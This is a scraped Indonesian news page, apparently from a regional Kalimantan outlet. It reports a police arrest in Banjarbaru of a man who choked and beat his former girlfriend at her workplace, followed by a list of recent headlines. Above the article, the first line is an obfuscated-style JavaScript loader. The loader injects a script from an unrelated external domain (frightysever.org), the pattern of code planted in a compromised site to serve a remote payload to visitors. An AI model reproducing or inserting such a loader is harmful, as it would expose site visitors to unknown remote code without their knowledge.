(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sakit Hati, AFN Tega Menganiaya Mantan Pacar


BANJARBARU, Polres Banjarbaru mengamankan  pelaku yang melakukan tindak penganiayaan di Kumala Laundry di Jalam Mistar Cokrokusumo Kelurahan Sungai Besar, Kecamatam Banjarbaru Selatan Kota Banjarbaru, Rabu (3/7). Mirisnya, motif pelaku dikarenakan sakit terhadap korban yang merupakan mantan pacarnya.

Kapolres Banjarbaru AKBP Kelana Jaya melalui Kasat Reskrim Polres Banjarbaru AKP Aryansyah mengatakan,bermula saat korban sedang bekerja di laundry. Kemudian, datang pelaku masuk ke tempat kerja korban.

“Saat itu pelaku sambil berteriak, Nisa!! Mana HP ku! Sini HP ku!!” lalu korban mencoba kabur lari ke toilet di bagian dapur belakang namun belum sempat lari ke toilet pelaku berhasil menangkap korban dan kemudian menganiaya korban,” kata Aryansyah.

Mendengar kejadian tersebut salah satu warga kemudian menekan Panic Button yang ada di aplikasi SIHARAT Polres Banjarbaru. “Saya ketakutan mendengar teriakan dari Nisa, kemudian saya melaporkan kejadian melalui aplikasi SIHARAT dan tidak lama Polisi menghubungi saya untuk memastikan kemudian mendatangi tempat perkelahian,” ungkap salah satu warga.

Lantas, anggota piket fungsi Polres Banjarbaru mendatangi tempat penganiayaan dan mendapati korban sudah kesakitan serta untuk pelaku sudah melarikan diri.

Akibat kejadian tersebut badan korban terasa lemas dan korban kesulitan bernafas hingga pingsan akibat dicekik oleh pelaku sehingga membuat korban mendapatkan perawatan infus dari rumah sakit dan mengalami trauma untuk beraktifitas sehari-hari dan korban melaporkan kejadian tersebut ke Polres Banjarbaru.

Pada hari Rabu pukul 18.00 Wita setelah menerima laporan, piket Reskrim Polres Banjarbaru mendapat informasi bahwa terduga pelaku dengan inisial AFN sedang berada di Rumah Sakit Syifa Medika, Kota Banjatbaru. Akhirnya anggota piket Reskrim Polres Banjarbaru bersama Unit Resmob Polres Banjarbaru mendatangi lokasi tersebut dan saat tiba di tempat tersebut petugas menangkap AFN.

Kasat Reskrim Polres Banjarbaru, mengatakan untuk pelaku beserta barang bukti yang ada keterkaitannya dengan kejadian tindak pidana tersbeut di amankan di Polres Banjarbaru untuk proses lebih lanjut. AFN sendiri di jerat dengan pasal 351 ayat (2) KUHP tentang Penganiayaan dengan ancaman 5 (lima) tahun penjara.

“Pelaku melakukan hal tersebut dikarenakan sakit hati dengan korban yang merupakan mantan pacarnya” tandas AKP Aryansyah. (Rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

2 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

8 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

8 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

11 jam ago

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

15 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

24 jam ago

This website uses cookies.